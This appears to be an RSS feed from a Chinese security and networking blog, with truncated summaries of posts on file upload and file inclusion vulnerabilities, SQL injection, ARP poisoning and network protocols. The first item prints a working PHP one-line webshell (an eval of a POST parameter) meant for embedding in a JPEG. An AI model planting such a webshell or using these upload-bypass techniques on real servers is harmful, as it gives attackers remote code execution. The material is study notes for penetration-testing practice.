<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[刘启明]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/santtde</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; santtde]]></copyright><item><title><![CDATA[edjpgcom制作一句话图片木马]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92849299</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92849299</guid><author>santtde</author><pubDate>Wed, 19 Jun 2019 22:13:37 +0800</pubDate><description><![CDATA[将图片直接拖到edjpgcom.exe程序上




写入一句话木马
&lt;?fputs(fopen("shell1.php","w"),'&lt;?php @eval($_POST[caidao]);?&gt;')?&gt;



查看图片


]]></description><category></category></item><item><title><![CDATA[DVWA之File Upload文件上传]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92849155</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92849155</guid><author>santtde</author><pubDate>Wed, 19 Jun 2019 22:13:27 +0800</pubDate><description><![CDATA[LOW：

函数介绍：
basename()函数返回路径中的文件名部分。
string basename ( string $path [, string $suffix ] )

参数介绍：
$path:必需。规定要检查的路径。在Windows中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）。
$suffix:可选。规定文件扩展名。如果文件有suffix，则不会输出这个...]]></description><category></category></item><item><title><![CDATA[文件包含漏洞小结]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92809061</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92809061</guid><author>santtde</author><pubDate>Wed, 19 Jun 2019 11:07:51 +0800</pubDate><description><![CDATA[1. 原理
在通过服务器脚本的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露、恶意代码的注入等。
开发过程中，多个文件都会用到的代码，通常会放到一个单独的文件中，用到时再包含进来。当把包含的文件写死在程序中时，该漏洞是不存在的，但很多情况都会动态的去包含所需的文件，这时候则会产生文件包含漏洞。
实例代码
&lt;?php
    $filename...]]></description><category></category></item><item><title><![CDATA[文件上传校验方式及绕过思路]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92737225</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92737225</guid><author>santtde</author><pubDate>Mon, 17 Jun 2019 22:48:44 +0800</pubDate><description><![CDATA[文件上传校验方式

客户端javascript校验（一般只校验后缀名）
服务端校验
文件头content-type字段校验（image/gif）
文件内容头校验（GIF89a）
后缀名黑名单校验
后缀名白名单校验
自定义正则校验
WAF设备校验（根据不同的WAF产品而定）


1. 客户端校验
一般都是在网页上写一段javascript脚本，校验上传文件的后缀名，有白名单形式也有黑名单形式。
判断...]]></description><category></category></item><item><title><![CDATA[文件上传漏洞]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92736281</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92736281</guid><author>santtde</author><pubDate>Mon, 17 Jun 2019 22:44:32 +0800</pubDate><description><![CDATA[原理
一些web应用程序中允许上传图片，文本或者其他资源到指定的位置，文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中，再通过url去访问以执行代码。

漏洞起因

对于上传文件的后缀名没有做严格的限制
对于上传文件的MIMETYPE没有做检查
没有限制上传的文件的文件权限
对于上传文件或者指定目录的行为没有做限制


漏洞测试过程

正常上传，抓包分析
尝试上传不同类型的恶意脚本文...]]></description><category></category></item><item><title><![CDATA[常用MIME Type表]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/92436393</link><guid>https://blog.youkuaiyun.com/santtde/article/details/92436393</guid><author>santtde</author><pubDate>Sun, 16 Jun 2019 22:33:51 +0800</pubDate><description><![CDATA[多用途互联网邮件扩展（MIME，MultipurposeInternet Mail Extensions）是一个互联网标准，它扩展了电子邮件标准，使其能够支持非ASCII字符、二进制格式附件等多种格式的邮件消息。
内容类型（Content-Type），这个头部领域用于指定消息的类型。一般以下面的形式出现。[type]/[subtype]
text/plain（纯文本）
 
text/html（HT...]]></description><category></category></item><item><title><![CDATA[布尔型盲注基本思路]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/91353746</link><guid>https://blog.youkuaiyun.com/santtde/article/details/91353746</guid><author>santtde</author><pubDate>Mon, 10 Jun 2019 21:42:56 +0800</pubDate><description><![CDATA[普通SQL注入
SQL盲注




执行SQL注入攻击时，服务器会响应来自数据库服务器的错误信息，信息提示SQL语法不正确等
一般情况，执行SQL盲注，服务器不会直接返回具体的数据库错误or语法错误，而是会返回程序开发所设置的特定信息（也有特例，如基于报错的盲注）


一般在页面上直接就会显示执行sql语句的结果
一般在页面上不会直接显示sql执行的结果



有可能出现不确定sql是否执...]]></description><category></category></item><item><title><![CDATA[SQL注入中常用的函数]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/91353689</link><guid>https://blog.youkuaiyun.com/santtde/article/details/91353689</guid><author>santtde</author><pubDate>Sun, 09 Jun 2019 19:42:32 +0800</pubDate><description><![CDATA[mid()函数
SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度
实例
Persons 表:




Id
LastName
FirstName
Address
City




1
Adams
John
Oxford
Street


2
Bush
George...]]></description><category></category></item><item><title><![CDATA[yum的配置与使用]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89549677</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89549677</guid><author>santtde</author><pubDate>Fri, 26 Apr 2019 13:31:11 +0800</pubDate><description><![CDATA[yum简介
yum的全称是yellow dog updater,modified，是一个shell前端软件包管理器;基于RPM包管理，能够从指定的服务器下载RPM包并自动安装，可以自动处理依赖性关系，并且一次性安装所有依赖的软件包，无需一次次频繁的下载、安装。

yum源制作过程


准备一台linux服务器，并确认服务器的IP;


上传一个centOS-…iso镜像文件到服务器(镜像文件包含所...]]></description><category></category></item><item><title><![CDATA[MPLS-多协议标签技术]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89383091</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89383091</guid><author>santtde</author><pubDate>Thu, 18 Apr 2019 17:07:35 +0800</pubDate><description><![CDATA[MPLS（Multi-Protocol Label Switching多协议标签交换）

ISP使用
包交换：依赖报文中的IP地址进行数据转发
标签交换：基于2.5层的标签号进行数据转发；
无论网络层运行何种协议，2.5层均可运行标签交换；


解决问题：

解决BGP的路由黑洞问题
MPLS VPN
MPLS TE（流量工程）


包交换的技术

原始的路由：流量进入路由器后，路由器基于目标IP...]]></description><category></category></item><item><title><![CDATA[生成树协议802.1D]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89224684</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89224684</guid><author>santtde</author><pubDate>Fri, 12 Apr 2019 08:25:02 +0800</pubDate><description><![CDATA[二层桥接环路导致问题

广播风暴
当主机X发送一个广播包后
假设SWITCH A在SEGMENT1收到广播包后，SWITCH A收到数据包后把数据广播到所有端口（除了数据包进入的端口）
SWITCH B在SEGMENT 2网络收到数据包后会把数据广播到所有端口（除了数据包进入的端口）
SWITCH A在SEGMENT 1网络收到数据包后会把数据广播到所有端口（除了数据包进入的端口）。
以此继续就会...]]></description><category></category></item><item><title><![CDATA[VLAN接口类型]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89184285</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89184285</guid><author>santtde</author><pubDate>Wed, 10 Apr 2019 15:24:58 +0800</pubDate><description><![CDATA[VLAN
VLAN（Virtual Local Area Network）即虚拟局域网，是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。

作用


限制广播域：广播域被限制在一个VLAN内，节省了带宽，提高了网络处理能力。


增强局域网的安全性：不同VLAN内的报文在传输时是相互隔离的，即一个VLAN内的用户不能和其它VLAN内的用户直接通信。


提高网络的健壮性：故障被限制在一个V...]]></description><category></category></item><item><title><![CDATA[PPPoE工作流程]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89155251</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89155251</guid><author>santtde</author><pubDate>Tue, 09 Apr 2019 17:10:05 +0800</pubDate><description><![CDATA[PPPoE（英语：Point-to-Point Protocol Over Ethernet）
以太网上的点对点协议，是将点对点协议（PPP）封装在以太网（Ethernet）框架中的一种网络隧道协议。

PPPoE协议及其工作过程
PPPoE的工作过程分成两个阶段，即发现阶段(Discorvery)和PPP会话阶段。

发现阶段(Discovery Stage)

用户主机用广播的方式发出PADI...]]></description><category></category></item><item><title><![CDATA[ARP毒化攻击]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89086520</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89086520</guid><author>santtde</author><pubDate>Mon, 08 Apr 2019 13:24:21 +0800</pubDate><description><![CDATA[ARP欺骗（毒化）
上面提到过了ARP缓存表，在每台主机都有一个ARP缓存表，缓存表中记录了IP地址与MAC地址的对应关系，而局域网数据传输依靠的是MAC地址。
假设主机 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 网关 G 192.168.1.1; 在同一局域网，主机A和B通过网关G相互通信，就好比A和B两个人写信，由邮递员G送信，C永远都不会知道A和B...]]></description><category></category></item><item><title><![CDATA[5种类型的ARP工作过程]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89052108</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89052108</guid><author>santtde</author><pubDate>Sat, 06 Apr 2019 09:34:17 +0800</pubDate><description><![CDATA[ARP（Address Resolution Protocol）地址转换协议，工作在OSI模型的数据链路层，在以太网中，网络设备之间互相通信是用MAC地址而不是IP地址，ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反，它是反向地址转换协议，把MAC地址转换为IP地址。

普通ARP(正向ARP)
功能介绍：通过ip地址获得MAC地址
工作过程：网络设备A发送数据包给网络设备...]]></description><category></category></item><item><title><![CDATA[FTP原理解析]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89041282</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89041282</guid><author>santtde</author><pubDate>Fri, 05 Apr 2019 11:12:22 +0800</pubDate><description><![CDATA[文件传输协议FTP(File Transfer Protocol)是因特网中使用最广泛的文件传输协议。FTP使用交互式的访问，允许客户指定文件的类型和格式(如指明是否使用ASCII码)，并允许文件具有存取权限(如访问文件的用户必须经过授权，并输入有效的口令)。
文件传输协议有基于TCP的FTP和基于UDP的简单文件传输协议TFTP，它们都是文件共享协议中的一大类，即复制整个文件，其特点是：若要存取...]]></description><category></category></item><item><title><![CDATA[DHCP原理解析及工作过程]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/89033618</link><guid>https://blog.youkuaiyun.com/santtde/article/details/89033618</guid><author>santtde</author><pubDate>Thu, 04 Apr 2019 19:19:09 +0800</pubDate><description><![CDATA[什么是DHCP？
DHCP，动态主机配置协议，前身是BOOTP协议，是一个局域网的网络协议，使用UDP协议工作，常用的2个端口：67(DHCP server),68(DHCP client)。
DHCP通常被用于局域网环境，主要作用是集中的管理、分配IP地址，使client动态的获得IP地址、Gateway地址、DNS服务器地址等信息，并能够提升地址的使用率。简单来说，DHCP就是一个不需要账号密...]]></description><category></category></item><item><title><![CDATA[DNS原理及解析过程]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/88998204</link><guid>https://blog.youkuaiyun.com/santtde/article/details/88998204</guid><author>santtde</author><pubDate>Wed, 03 Apr 2019 16:13:51 +0800</pubDate><description><![CDATA[DNS(域名系统Domain Name System)

根域
就是所谓的“.”，其实我们的网址www.baidu.com在配置当中应该是www.baidu.com.（最后有一点），一般我们在浏览器里输入时会省略后面的点，而这也已经成为了习惯。
根域服务器我们知道有13台，但是这是错误的观点。
根域服务器只是具有13个IP地址，但机器数量却不是13台，因为这些IP地址借助了任播的技术，所以我们可以...]]></description><category></category></item><item><title><![CDATA[TCP的定时器]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/88975283</link><guid>https://blog.youkuaiyun.com/santtde/article/details/88975283</guid><author>santtde</author><pubDate>Tue, 02 Apr 2019 16:34:46 +0800</pubDate><description><![CDATA[7种定时器

建立连接定时器(connection-establishment timer)
重传定时器(retransmission timer)
延迟应答定时器(delayed ACK timer)
坚持定时器(persist timer)
保活定时器(keepalive timer)
FIN_WAIT_2定时器(FIN_WAIT_2 timer)
TIME_WAIT定时器 (TIME_WAI...]]></description><category></category></item><item><title><![CDATA[BGP-边界网关协议]]></title><link>https://blog.youkuaiyun.com/santtde/article/details/88925487</link><guid>https://blog.youkuaiyun.com/santtde/article/details/88925487</guid><author>santtde</author><pubDate>Sun, 31 Mar 2019 10:53:22 +0800</pubDate><description><![CDATA[BGP（Border Gateway Protocol边界网关协议）

无类别路径矢量EGP协议；
基于AS进行工作；
AS（自治系统）：一个独立的管理域，内部可以运行多种IGP协议，但半径不易过大；
为区分不同的AS，使用编号：0-65535
公有：1-64511   私有：64512-65535


IGP和EGP协议的区别
IGP协议在工作时：

收敛快
占用资源少
选路佳

EGP协议在工...]]></description><category></category></item></channel></rss>